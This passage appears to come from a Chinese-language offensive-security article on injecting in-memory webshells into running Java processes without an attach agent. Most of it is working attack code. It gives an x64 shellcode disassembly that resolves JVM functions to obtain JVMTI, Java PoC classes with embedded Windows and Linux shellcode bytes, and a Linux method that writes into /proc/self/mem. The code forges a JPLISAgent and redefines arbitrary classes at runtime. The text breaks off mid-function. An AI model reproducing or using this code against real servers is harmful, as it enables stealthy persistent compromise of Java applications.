00000000541E0000 | 48:83EC 28 | sub rsp,28 |
00000000541E0004 | 48:83E4 F0 | and rsp,FFFFFFFFFFFFFFF0 |
00000000541E0008 | 48:31C9 | xor rcx,rcx |
00000000541E000B | 6548:8B41 60 | mov rax,qword ptr gs:[rcx+60] |
00000000541E0010 | 48:8B40 18 | mov rax,qword ptr ds:[rax+18] |
00000000541E0014 | 48:8B70 20 | mov rsi,qword ptr ds:[rax+20] |
00000000541E0018 | 48:AD | lodsq |
00000000541E001A | 48:96 | xchg rsi,rax |
00000000541E001C | 48:AD | lodsq |
00000000541E001E | 48:8B58 20 | mov rbx,qword ptr ds:[rax+20] | rbx:"MZ?"
00000000541E0022 | 4D:31C0 | xor r8,r8 |
00000000541E0025 | 44:8B43 3C | mov r8d,dword ptr ds:[rbx+3C] |
00000000541E0029 | 4C:89C2 | mov rdx,r8 |
00000000541E002C | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E002F | 44:8B82 88000000 | mov r8d,dword ptr ds:[rdx+88] |
00000000541E0036 | 49:01D8 | add r8,rbx | rbx:"MZ?"
00000000541E0039 | 48:31F6 | xor rsi,rsi |
00000000541E003C | 41:8B70 20 | mov esi,dword ptr ds:[r8+20] |
00000000541E0040 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0043 | 48:31C9 | xor rcx,rcx |
00000000541E0046 | 49:B9 47657450726F6341 | mov r9,41636F7250746547 |
00000000541E0050 | 48:FFC1 | inc rcx |
00000000541E0053 | 48:31C0 | xor rax,rax |
00000000541E0056 | 8B048E | mov eax,dword ptr ds:[rsi+rcx*4] |
00000000541E0059 | 48:01D8 | add rax,rbx | rbx:"MZ?"
00000000541E005C | 4C:3908 | cmp qword ptr ds:[rax],r9 |
00000000541E005F | 75 EF | jne 541E0050 |
00000000541E0061 | 48:31F6 | xor rsi,rsi |
00000000541E0064 | 41:8B70 24 | mov esi,dword ptr ds:[r8+24] |
00000000541E0068 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E006B | 66:8B0C4E | mov cx,word ptr ds:[rsi+rcx*2] |
00000000541E006F | 48:31F6 | xor rsi,rsi |
00000000541E0072 | 41:8B70 1C | mov esi,dword ptr ds:[r8+1C] |
00000000541E0076 | 48:01DE | add rsi,rbx | rbx:"MZ?"
00000000541E0079 | 48:31D2 | xor rdx,rdx |
00000000541E007C | 8B148E | mov edx,dword ptr ds:[rsi+rcx*4] |
00000000541E007F | 48:01DA | add rdx,rbx | rbx:"MZ?"
00000000541E0082 | 48:89D7 | mov rdi,rdx |
00000000541E0085 | B9 61727941 | mov ecx,41797261 |
00000000541E008A | 51 | push rcx |
00000000541E008B | 48:B9 4C6F61644C696272 | mov rcx,7262694C64616F4C |
00000000541E0095 | 51 | push rcx |
00000000541E0096 | 48:89E2 | mov rdx,rsp |
00000000541E0099 | 48:89D9 | mov rcx,rbx | rbx:"MZ?"
00000000541E009C | 48:83EC 30 | sub rsp,30 |
00000000541E00A0 | FFD7 | call rdi |
00000000541E00A2 | 48:83C4 30 | add rsp,30 |
00000000541E00A6 | 48:83C4 10 | add rsp,10 |
00000000541E00AA | 48:89C6 | mov rsi,rax |
00000000541E00AD | B9 6C6C0000 | mov ecx,6C6C |
00000000541E00B2 | 51 | push rcx |
00000000541E00B3 | B9 6A766D00 | mov ecx,6D766A |
00000000541E00B8 | 51 | push rcx |
00000000541E00B9 | 48:89E1 | mov rcx,rsp |
00000000541E00BC | 48:83EC 30 | sub rsp,30 |
00000000541E00C0 | FFD6 | call rsi |
00000000541E00C2 | 48:83C4 30 | add rsp,30 |
00000000541E00C6 | 48:83C4 10 | add rsp,10 |
00000000541E00CA | 49:89C7 | mov r15,rax |
00000000541E00CD | 48:31C9 | xor rcx,rcx |
00000000541E00D0 | 48:B9 7661564D73000000 | mov rcx,734D566176 |
00000000541E00DA | 51 | push rcx |
00000000541E00DB | 48:B9 7265617465644A61 | mov rcx,614A646574616572 |
00000000541E00E5 | 51 | push rcx |
00000000541E00E6 | 48:B9 4A4E495F47657443 | mov rcx,437465475F494E4A |
00000000541E00F0 | 51 | push rcx |
00000000541E00F1 | 48:89E2 | mov rdx,rsp |
00000000541E00F4 | 4C:89F9 | mov rcx,r15 |
00000000541E00F7 | 48:83EC 28 | sub rsp,28 |
00000000541E00FB | FFD7 | call rdi |
00000000541E00FD | 48:83C4 28 | add rsp,28 |
00000000541E0101 | 48:83C4 18 | add rsp,18 |
00000000541E0105 | 49:89C7 | mov r15,rax |
00000000541E0108 | 48:83EC 28 | sub rsp,28 |
00000000541E010C | 48:89E1 | mov rcx,rsp |
00000000541E010F | BA 01000000 | mov edx,1 |
00000000541E0114 | 49:89C8 | mov r8,rcx |
00000000541E0117 | 49:83C0 08 | add r8,8 |
00000000541E011B | 48:83EC 28 | sub rsp,28 |
00000000541E011F | 41:FFD7 | call r15 |
00000000541E0122 | 48:83C4 28 | add rsp,28 |
00000000541E0126 | 48:8B09 | mov rcx,qword ptr ds:[rcx] |
00000000541E0129 | 48:83EC 20 | sub rsp,20 |
00000000541E012D | 54 | push rsp |
00000000541E012E | 48:89E2 | mov rdx,rsp |
00000000541E0131 | 4D:31C0 | xor r8,r8 |
00000000541E0134 | 4C:8B39 | mov r15,qword ptr ds:[rcx] |
00000000541E0137 | 4D:8B7F 20 | mov r15,qword ptr ds:[r15+20] |
00000000541E013B | 49:89CE | mov r14,rcx |
00000000541E013E | 41:FFD7 | call r15 |
00000000541E0141 | 4C:89F1 | mov rcx,r14 |
00000000541E0144 | 48:BA A8752F5600000000 | mov rdx,562F75A8 | ;该内存地址是JavaVM->GetEnv的第一个参数，由我们动态指定，用来接收jvmti对象的地址
00000000541E014E | 41:B8 00020130 | mov r8d,30010200 |
00000000541E0154 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E0157 | 4D:8B7F 30 | mov r15,qword ptr ds:[r15+30] |
00000000541E015B | 48:83EC 20 | sub rsp,20 |
00000000541E015F | 41:FFD7 | call r15 |
00000000541E0162 | 48:83C4 20 | add rsp,20 |
00000000541E0166 | 4C:89F1 | mov rcx,r14 |
00000000541E0169 | 4D:8B3E | mov r15,qword ptr ds:[r14] |
00000000541E016C | 4D:8B7F 28 | mov r15,qword ptr ds:[r15+28] |
00000000541E0170 | 41:FFD7 | call r15 |
00000000541E0173 | 48:83C4 78 | add rsp,78 |
00000000541E0177 | C3 | ret |
##### Linux平台
由于Windows平台和Linux平台在Attach机制上的区别，Linux平台下并没有直接原生执行shellcode的方法，不过我们可以使用游望之的文章《Linux下内存马进阶植入技术》中提出的方法，通过修改/proc/self/mem的方式来执行shellcode，主要流程如下：
1. 解析libjvm.so的ELF头，得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs的偏移；
2. 解析/proc/self/maps取得libjvm.so的加载基址，加上步骤1中获取的偏移地址，得到Java_java_io_RandomAccessFile_length和JNI_GetCreatedJavaVMs函数在内存中的地址；
3. 编写shellcode，调用JNI_GetCreatedJavaVMs获取的JVMTIEnv对象的指针；
4. 备份Java_java_io_RandomAccessFile_length函数体；
5. 将步骤3中的shellcode写入Java_java_io_RandomAccessFile_length地址；
6. 在Java层调用Java_java_io_RandomAccessFile_length获得一个long型的返回值，即JVMTIEnv对象的指针；
7. 恢复Java_java_io_RandomAccessFile_length代码；
8. 利用JVMTIEnv对象的指针，构造JPLISAgent。
具体细节可以参考游望之的文章《Linux下内存马进阶植入技术》，里有详细描述。
shellcode:
push rbp
mov rbp, rsp
mov rax, 0xf
not rax
and rsp, rax
movabs rax, _JNI_GetCreatedJavaVMs
sub rsp, 40h
xor rsi, rsi
inc rsi
lea rdx, [rsp+4]
lea rdi, [rsp+8]
call rax
mov rdi, [rsp+8]
lea rsi, [rsp+10h]
mov edx, 30010200h
mov rax, [rdi]
call qword ptr [rax+30h]
mov rax, [rsp+10h]
add rsp, 40h
leave
ret
#### 组装JPLISAgent
有了JVMTIEnv对象的指针，就可以构造JPLISAgent对象了，如下：
private long getJPLISAgent() {
long pointerLength = 8;
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe)field.get((Object)null);
} catch (Exception var14) {
throw new AssertionError(var14);
}
long JPLISAgent = unsafe.allocateMemory(4096L);
long native_jvmtienv = unsafe.getLong(JPLISAgent + (long)pointerLength);
if (pointerLength == 4) {
unsafe.putByte(native_jvmtienv + 201L, (byte)2);
} else {
unsafe.putByte(native_jvmtienv + 361L, (byte)2);
}
return JPLISAgent;
}
### 动态修改类
在上文中，分别介绍了Windows平台和Linux平台下构造JPLISAgent对象的方法，有了JPLISAgent对象，就可以调用Java
Agent的所有能力了，当然我们感兴趣的还是类的动态修改功能。
#### Windows平台
把上文中获取JVMTIEnv指针的shellcode和Java代码结合起来，同时考虑指针长度为4和8的情况：
/**
* @version 1.0
* @Author rebeyond
* @Date 2022/7/1 12:59
* @注释
*/
package sun.tools.attach;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class WindowsVirtualMachine {
public static int pointerLength=8;
public static String className;
public static byte[] classBody;
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object... args) throws IOException;
public static void work() throws Exception {
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//伪造JPLISAgent结构时，只需要填mNormalEnvironment中的mJVMTIEnv即可，其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
byte[] buf=new byte[]{(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xE4,(byte)0xF0,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x65,(byte)0x48,(byte)0x8B,(byte)0x41,(byte)0x60,(byte)0x48,(byte)0x8B,(byte)0x40,(byte)0x18,(byte)0x48,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x96,(byte)0x48,(byte)0xAD,(byte)0x48,(byte)0x8B,(byte)0x58,(byte)0x20,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x44,(byte)0x8B,(byte)0x43,(byte)0x3C,(byte)0x4C,(byte)0x89,(byte)0xC2,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x44,(byte)0x8B,(byte)0x82,(byte)0x88,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x01,(byte)0xD8,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x20,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x49,(byte)0xB9,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x50,(byte)0x72,(byte)0x6F,(byte)0x63,(byte)0x41,(byte)0x48,(byte)0xFF,(byte)0xC1,(byte)0x48,(byte)0x31,(byte)0xC0,(byte)0x8B,(byte)0x04,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xD8,(byte)0x4C,(byte)0x39,(byte)0x08,(byte)0x75,(byte)0xEF,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x24,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x66,(byte)0x8B,(byte)0x0C,(byte)0x4E,(byte)0x48,(byte)0x31,(byte)0xF6,(byte)0x41,(byte)0x8B,(byte)0x70,(byte)0x1C,(byte)0x48,(byte)0x01,(byte)0xDE,(byte)0x48,(byte)0x31,(byte)0xD2,(byte)0x8B,(byte)0x14,(byte)0x8E,(byte)0x48,(byte)0x01,(byte)0xDA,(byte)0x48,(byte)0x89,(byte)0xD7,(byte)0xB9,(byte)0x61,(byte)0x72,(byte)0x79,(byte)0x41,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4C,(byte)0x6F,(byte)0x61,(byte)0x64,(byte)0x4C,(byte)0x69,(byte)0x62,(byte)0x72,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x48,(byte)0x89,(byte)0xD9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x48,(byte)0x89,(byte)0xC6,(byte)0xB9,(byte)0x6C,(byte)0x6C,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0xB9,(byte)0x6A,(byte)0x76,(byte)0x6D,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x30,(byte)0xFF,(byte)0xD6,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x10,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x31,(byte)0xC9,(byte)0x48,(byte)0xB9,(byte)0x76,(byte)0x61,(byte)0x56,(byte)0x4D,(byte)0x73,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x72,(byte)0x65,(byte)0x61,(byte)0x74,(byte)0x65,(byte)0x64,(byte)0x4A,(byte)0x61,(byte)0x51,(byte)0x48,(byte)0xB9,(byte)0x4A,(byte)0x4E,(byte)0x49,(byte)0x5F,(byte)0x47,(byte)0x65,(byte)0x74,(byte)0x43,(byte)0x51,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4C,(byte)0x89,(byte)0xF9,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x18,(byte)0x49,(byte)0x89,(byte)0xC7,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x48,(byte)0x89,(byte)0xE1,(byte)0xBA,(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x89,(byte)0xC8,(byte)0x49,(byte)0x83,(byte)0xC0,(byte)0x08,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x28,(byte)0x48,(byte)0x8B,(byte)0x09,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x54,(byte)0x48,(byte)0x89,(byte)0xE2,(byte)0x4D,(byte)0x31,(byte)0xC0,(byte)0x4C,(byte)0x8B,(byte)0x39,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x20,(byte)0x49,(byte)0x89,(byte)0xCE,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x48,(byte)0xBA,(byte)0x48,(byte)0x47,(byte)0x46,(byte)0x45,(byte)0x44,(byte)0x43,(byte)0x42,(byte)0x41,(byte)0x41,(byte)0xB8,(byte)0x00,(byte)0x02,(byte)0x01,(byte)0x30,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x30,(byte)0x48,(byte)0x83,(byte)0xEC,(byte)0x20,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x20,(byte)0x4C,(byte)0x89,(byte)0xF1,(byte)0x4D,(byte)0x8B,(byte)0x3E,(byte)0x4D,(byte)0x8B,(byte)0x7F,(byte)0x28,(byte)0x41,(byte)0xFF,(byte)0xD7,(byte)0x48,(byte)0x83,(byte)0xC4,(byte)0x78,(byte)0xC3};
byte[] stub=new byte[]{0x48,0x47,0x46,0x45,0x44,0x43,0x42,0x41};
if (pointerLength==4) {
buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3};
stub=new byte[]{0x44,0x43,0x42,0x41};
}
buf=replaceBytes(buf,stub,long2ByteArray_Little_Endian(JPLISAgent+pointerLength,pointerLength));
classBody[7]=0x32;
try {
System.loadLibrary("attach");
enqueue(-1, buf, "enqueue", "enqueue");
} catch (Exception e) {
e.printStackTrace();
return;
}
long native_jvmtienv=unsafe.getLong(JPLISAgent+pointerLength);
if (pointerLength==4)
{
unsafe.putByte(native_jvmtienv+201 , (byte) 2);
}
else
{
unsafe.putByte(native_jvmtienv+361 , (byte) 2);
}
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}
catch (Throwable error)
{
error.printStackTrace();
throw error;
}
}
/**
* long 转字节数组，小端
*/
public static byte[] long2ByteArray_Little_Endian(long l,int length) {
byte[] array = new byte[length];
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (l >> (i * 8));
}
return array;
}
private static byte[] replaceBytes(byte[] bytes,byte[] byteSource,byte[] byteTarget)
{
for(int i=0;i<bytes.length;i++)
{
boolean bl=true;//从当前下标开始的字节是否与欲替换字节相等;
for(int j=0;j<byteSource.length;j++)
{
if(i+j<bytes.length&&bytes[i+j]==byteSource[j])
{
}
else
{
bl=false;
}
}
if(bl)
{
System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length);
}
}
return bytes;
}
}
上面Poc中有两个属性，className和classBody。如果想要动态修改某个类的字节码，只需要实例化WindowsVirtualMachine类，设置className和classBody为目标类名和新的字节码数组，然后调用work方法，即可完成类的热修改。
#### Linux平台
在Linux平台下，将上文的shellcode整合，利用代码如下：
/**
* @version 1.0
* @Author 游望之
* @注释
*/
import sun.misc.Unsafe;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class MemShell {
private void agentForLinux(String className,byte[] classBody) throws Exception {
FileReader fin = new FileReader("/proc/self/maps");
BufferedReader reader = new BufferedReader(fin);
String line;
long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0;
while ((line = reader.readLine()) != null)
{
String[] splits = line.trim().split(" ");
if(line.endsWith("libjava.so") && RandomAccessFile_length == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase);
}else if(line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) {
String[] addr_range = splits[0].split("-");
long libbase = Long.parseLong(addr_range[0], 16);
String elfpath = splits[splits.length - 1];
JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase);
}
if(JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0)
break;
}
fin.close();
//修改Java_java_io_RandomAccessFile_open0的native代码，调用JNI_GetCreatedJavaVMs获取JavaVM，再通过JavaVM获取jvmtienv
RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw");
//RSP 16字节对齐
byte[] stack_align = {0x55, 0x48, (byte)0x89, (byte)0xe5, 0x48, (byte)0xc7, (byte)0xc0, 0xf, 0, 0, 0, 0x48, (byte)0xf7, (byte)0xd0};
byte[] movabs_rax = {0x48, (byte) 0xb8};
ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES);
buffer.order(ByteOrder.LITTLE_ENDIAN);
buffer.putLong(0, JNI_GetCreatedJavaVMs);
byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48,
(byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10,
(byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10,
0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte)0xC9, (byte) 0xC3 };
int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length;
long landingpad = RandomAccessFile_length;
byte[] backup = new byte[shellcode_len];
fout.seek(landingpad);
fout.read(backup);
fout.seek(landingpad);
fout.write(stack_align);
fout.write(movabs_rax);
fout.write(buffer.array());
fout.write(b);
fout.close();
long native_jvmtienv = fout.length(); //触发执行
System.out.printf("native_jvmtienv %x\n", native_jvmtienv);
//恢复代码
fout = new RandomAccessFile("/proc/self/mem", "rw");
fout.seek(RandomAccessFile_length);
fout.write(backup);
fout.close();
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
//libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 )
unsafe.putByte(native_jvmtienv + 361, (byte) 2);
//伪造JPLISAgent结构时，只需要填mNormalEnvironment中的mJVMTIEnv即可，其他变量代码中实际没有使用
long JPLISAgent = unsafe.allocateMemory(0x1000);
unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
//利用伪造的JPLISAgent结构实例化InstrumentationImpl
try {
Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
constructor.setAccessible(true);
Object inst = constructor.newInstance(JPLISAgent, true, false);
ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody);
Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);
redefineClazz.invoke(inst, new Object[] {
new ClassDefinition[] {
definition
}
});
}catch(Exception e) {
e.printStackTrace();
}
fout.getFD();
}
private static final int SHT_DYNSYM = 11;
private static final int STT_FUNC =2;
private static final int STT_GNU_IFUNC =10;
private static int ELF_ST_TYPE(int x) {
return (x & 0xf);
}
static long find_symbol(String elfpath, String sym, long libbase) throws IOException {
long func_ptr = 0;
RandomAccessFile fin = new RandomAccessFile(elfpath, "r");
byte[] e_ident = new byte[16];
fin.read(e_ident);
short e_type = Short.reverseBytes(fin.readShort());
short e_machine = Short.reverseBytes(fin.readShort());
int e_version = Integer.reverseBytes(fin.readInt());
long e_entry = Long.reverseBytes(fin.readLong());
long e_phoff = Long.reverseBytes(fin.readLong());
long e_shoff = Long.reverseBytes(fin.readLong());
int e_flags = Integer.reverseBytes(fin.readInt());
short e_ehsize = Short.reverseBytes(fin.readShort());
short e_phentsize = Short.reverseBytes(fin.readShort());
short e_phnum = Short.reverseBytes(fin.readShort());
short e_shentsize = Short.reverseBytes(fin.readShort());
short e_shnum = Short.reverseBytes(fin.readShort());
short e_shstrndx = Short.reverseBytes(fin.readShort());
int sh_name = 0;
int sh_type = 0;
long sh_flags = 0;
long sh_addr = 0;
long sh_offset = 0;
long sh_size = 0;
int sh_link = 0;
int sh_info = 0;
long sh_addralign = 0;
long sh_entsize = 0;
for(int i = 0; i < e_shnum; ++i) {
fin.seek(e_shoff + i*64);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
if(sh_type == SHT_DYNSYM) {
break;
}
}
int symtab_shdr_sh_link = sh_link;
long symtab_shdr_sh_size = sh_size;
long symtab_shdr_sh_entsize = sh_entsize;
long symtab_shdr_sh_offset = sh_offset;
fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize);
sh_name = Integer.reverseBytes(fin.readInt());
sh_type = Integer.reverseBytes(fin.readInt());
sh_flags = Long.reverseBytes(fin.readLong());
sh_addr = Long.reverseBytes(fin.readLong());
sh_offset = Long.reverseBytes(fin.readLong());
sh_size = Long.reverseBytes(fin.readLong());
sh_link = Integer.reverseBytes(fin.readInt());
sh_info = Integer.reverseBytes(fin.readInt());
sh_addralign = Long.reverseBytes(fin.readLong());
sh_entsize = Long.reverseBytes(fin.readLong());
long symstr_shdr_sh_offset = sh_offset;
